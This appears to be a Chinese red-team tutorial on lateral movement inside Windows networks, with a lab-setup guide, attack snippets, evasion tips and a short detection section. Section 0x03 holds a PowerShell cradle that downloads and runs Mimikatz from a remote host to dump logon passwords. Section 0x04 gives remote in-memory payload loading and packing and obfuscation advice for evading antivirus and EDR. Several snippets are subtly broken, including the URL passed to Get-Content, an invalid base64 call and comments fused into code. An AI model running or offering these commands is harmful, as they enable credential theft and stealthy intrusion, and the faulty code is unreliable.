0x01 内网世界的魔法钥匙
在企业内网的广袤疆域中，横向移动就如同持有一把魔法钥匙，能够开启通往无限可能的大门。内网横向移动是指攻击者在获取初始访问权限后，利用各种技术手段在网络内部进行进一步的权限扩展和资源访问。这一过程中，通常涉及到对网络协议、认证机制、服务配置等的深入理解和利用。
技术原理
内网渗透中，横向移动的关键在于如何利用获得的初始权限，进一步扩展到更多的系统和服务。以下是一些常见的方法：
- 凭证窃取与利用：在成功入侵一个节点后，攻击者通常会尝试获得该节点上的凭证信息，如哈希、票据或明文密码。这些凭证可以通过内存抓取工具（如Mimikatz）获得，也可以通过分析系统日志或抓包获取。
- 利用默认配置不当的服务：许多时候，系统管理员会在内网中部署一些默认配置不当的服务，这为攻击者提供了可乘之机。例如，SMB服务如果配置不当，可能允许攻击者进行未授权的文件共享访问。
- 利用信任关系：在一个复杂的网络环境中，系统之间往往存在信任关系。攻击者可以利用这些信任关系，通过Kerberos票据传递、RPC调用等方式，从一个系统移动到另一个系统。
- 滥用Windows管理工具：Windows操作系统自带的管理工具（如WMI、PowerShell）可以被攻击者用于执行远程命令，绕过传统的安全防护。
理解这些技术原理后，便可以从攻击者的角度来设计相应的攻击链，精准地实现横向移动。
0x02 环境搭建指南
为了在实验室环境中模拟真实的横向移动攻击，我们需要搭建一个包含多个节点的内网环境。这不仅能帮助我们更好地理解攻击原理，也能为测试攻击链提供实践场所。
环境需求
- 虚拟化平台：推荐使用VirtualBox或VMware Workstation，以便轻松创建和管理多个虚拟机。
- 操作系统：至少需要一台Windows Server（如Server 2016）和一台Windows 10客户端。
- 网络配置：将所有虚拟机配置在同一网络内，以模拟典型的内网环境。
配置步骤
- 创建虚拟机：在虚拟化平台中创建一台Windows Server和一台Windows 10虚拟机。确保为每个虚拟机分配足够的资源（至少2GB内存和20GB硬盘空间）。
- 网络设置：将所有虚拟机的网络适配器设置为NAT模式或Host-Only模式。这样可以确保它们在同一网络内，并且与外界隔离。
- 安装必要软件：在所有虚拟机上安装Python、PowerShell 7以及其他可能需要的工具（如Wireshark、Mimikatz）。
- 配置服务：在Windows Server上启用文件共享（SMB）和远程桌面（RDP）服务，并配置适当的防火墙规则以允许这些服务的访问。
通过以上步骤，我们搭建了一个基本的内网环境，准备好进行横向移动的实验。
0x03 实战：Python与PowerShell的双剑合璧
拥有内网世界的魔法钥匙后，我们将使用Python和PowerShell这对组合拳来实现横向移动。以下将展示如何利用这两种工具进行实战操作。
凭证窃取与利用
在获取系统初始访问权限后，我们常常会使用Mimikatz获取内存中的凭证。以下是利用Python和PowerShell结合进行凭证窃取的一个示例：
<pre><code class="language-powershell"># 使用PowerShell加载Mimikatz模块 Invoke-Expression ((New-Object System.Net.WebClient).DownloadString('http://example.com/mimikatz.ps1'))
执行Mimikatz命令提取凭证
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'</code></pre>
通过以上命令，我们可以从目标系统内存中提取出存储的凭证信息。接下来，我们可以利用Python脚本对这些凭证进行进一步处理。
<pre><code class="language-python">import requests
假设我们已经获取了凭证，准备进行利用
def use_credentials(username, password, target_ip): print(f"使用凭证登录 {target_ip}")
这里可以使用Python库实现远程连接和操作
比如通过smbclient库进行SMB连接
这里假设获得的凭证为admin/admin123
use_credentials('admin', 'admin123', '192.168.1.2')</code></pre>
利用默认配置不当
在内网环境中，许多服务可能存在默认配置不当的问题。以下是一个利用SMB服务进行横向移动的示例：
<pre><code class="language-python">import smbclient
连接到目标SMB服务器
with smbclient.open_file(r"\\192.168.1.2\shared\important-file.txt", username='admin', password='admin123') as f:
读取文件内容
content = f.read() print(content)</code></pre>
通过上述代码，我们可以轻松访问某个系统上共享的文件。这种方法非常适用于存在配置不当的SMB服务。
0x04 绕过与对抗：免杀技巧的秘密
在进行渗透测试时，如何避免被EDR和杀毒软件检测至关重要。这一节将介绍一些常见的免杀技术，帮助我们在横向移动中更加隐蔽。
加壳与混淆
加壳和代码混淆是两种常用的免杀技术。通过对攻击载荷进行加壳，攻击者可以躲避静态特征检测，而代码混淆则能使代码逻辑难以被直接分析。
<pre><code class="language-python"># 示例：简单的加壳技术 def encode_payload(payload):
将字符串进行Base64编码
return payload.encode('utf-8').encode('base64')
encoded_payload = encode_payload('original_payload')</code></pre>
内存加载
内存加载技术允许我们在不将恶意代码写入磁盘的情况下执行它，从而绕过许多基于文件的检测机制。
<pre><code class="language-powershell"># 示例：通过PowerShell进行内存加载 $script = Get-Content -Path "http://example.com/payload.ps1" -Raw Invoke-Expression $script</code></pre>
通过以上命令，我们可以将远程载荷直接加载到内存中执行，避免了文件被杀毒软件扫描到的风险。
0x05 检测与防御的攻守之道
虽然我们的目标是成为攻击者，但理解防御技术同样重要。知道如何检测和防御横向移动攻击，有助于在渗透测试中发现更多的攻击面。
日志与监控
日志分析是检测横向移动行为的重要手段。管理员可以通过分析Windows事件日志（特别是登录事件和文件访问事件）来检测可疑活动。
行为分析与机器学习
现代EDR解决方案越来越多地使用行为分析和机器学习来检测异常活动。攻击者可以通过尽量模拟正常用户行为，来避开这些检测。这要求我们对目标网络的正常使用模式有深入了解。
0x06 那些年积累下的实战经验
作为一名经验丰富的红队专家，我在内网横向移动中积累了不少实战经验：
- 环境意识：每个网络环境都是独特的，了解你的目标网络是成功的关键。通过网络扫描和信息收集，建立目标网络的全貌。
- 工具链的灵活组合：没有一款工具能在所有场景下通用。灵活使用Python、PowerShell以及各种开放源代码工具，能够极大提升渗透效率。
- 保持隐蔽性：在内网中行动时，隐蔽性是首要考量。避免产生可疑的网络流量和系统日志，以减少被发现的风险。
- 快速响应与调整：当遭遇意外情况或被检测时，快速调整策略和工具链，以保持攻击链的连贯性。
内网横向移动是红队攻击中不可或缺的一环。通过不断学习和实践，我们可以不断提升自己的攻击能力，成为一名合格的攻击者。请注意，以上技术仅限于授权的渗透测试和安全研究之用。